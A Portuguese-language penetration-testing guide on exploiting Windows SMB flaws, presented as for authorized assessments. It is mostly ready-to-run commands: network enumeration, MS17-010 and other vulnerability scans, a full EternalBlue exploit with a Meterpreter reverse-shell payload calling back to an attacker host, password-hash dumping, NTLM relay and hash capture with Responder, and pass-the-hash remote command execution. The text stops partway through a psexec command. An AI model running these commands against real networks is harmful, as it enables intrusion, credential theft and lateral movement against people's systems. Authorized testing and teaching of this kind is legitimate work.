Explorando Vulnerabilidades SMB com Metasploit

Quando Usar

• Testar sistemas Windows para vulnerabilidades SMB críticas (EternalBlue, EternalRomance, PrintNightmare) durante testes de penetração autorizados
• Demonstrar riscos de movimento lateral via SMB relay, pass-the-hash e credential spraying
• Validar que os processos de gerenciamento de patches abordaram vulnerabilidades SMB conhecidas
• Avaliar a aplicação de assinatura SMB e as configurações de permissão de compartilhamento em todo o domínio
• Testar a segmentação de rede tentando exploração SMB através de limites de VLAN

Não use contra sistemas sem autorização escrita explícita, contra controladores de domínio de produção sem uma janela de manutenção, ou para implantar backdoors persistentes além do escopo da avaliação.

Pré-requisitos

• Metasploit Framework 6.x instalado (msfconsole --version)
• Documento de escopo de teste de penetração autorizado listando os intervalos de IP de destino e os tipos de ataque aprovados
• Acesso de rede aos serviços SMB de destino (TCP 445, TCP 139)
• Ferramentas CrackMapExec e Impacket instaladas para testes SMB complementares
• Credenciais de teste válidas ou listas de palavras de credenciais aprovadas para o engajamento
• Kali Linux ou plataforma de teste equivalente

Fluxo de Trabalho

Passo 1: Enumerar Serviços e Versões SMB

# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24

# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24

# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt

# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing

# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares

Passo 2: Escanear Vulnerabilidades SMB Conhecidas

# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run

# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run

# Check for SMBGhost (CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24

# Check for PrintNightmare (CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare

Passo 3: Explorar EternalBlue (MS17-010)

msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit

# Post-exploitation -- verify access level
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump

Passo 4: Realizar Ataque SMB Relay

# Identify hosts without SMB signing (from Step 1)
# Set up NTLM relay with Impacket
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i

# Trigger authentication from a compromised host or via phishing
# From Meterpreter session on a compromised host:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password

# Or use Metasploit's SMB relay module
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit

# Use responder to capture NTLM hashes for offline cracking
sudo responder -I eth0 -wrfv

Passo 5: Pass-the-Hash e Movimento Lateral via SMB

# Extrair hashes do sistema comprometido
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::

# Usar pass-the-hash com CrackMapExec
crackmapexec smb 10.10.0.0/24 -u Administrator \
  -H e19ccf75ee54e06b06a5907af13cef42 --shares

# Executar comandos via pass-the-hash
crackmapexec smb 10.10.5.30 -u Administrator \
  -H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"

# Usar Impacket psexec para shell interativo
impacket-psexec Administrator@10.10.5.30 \

…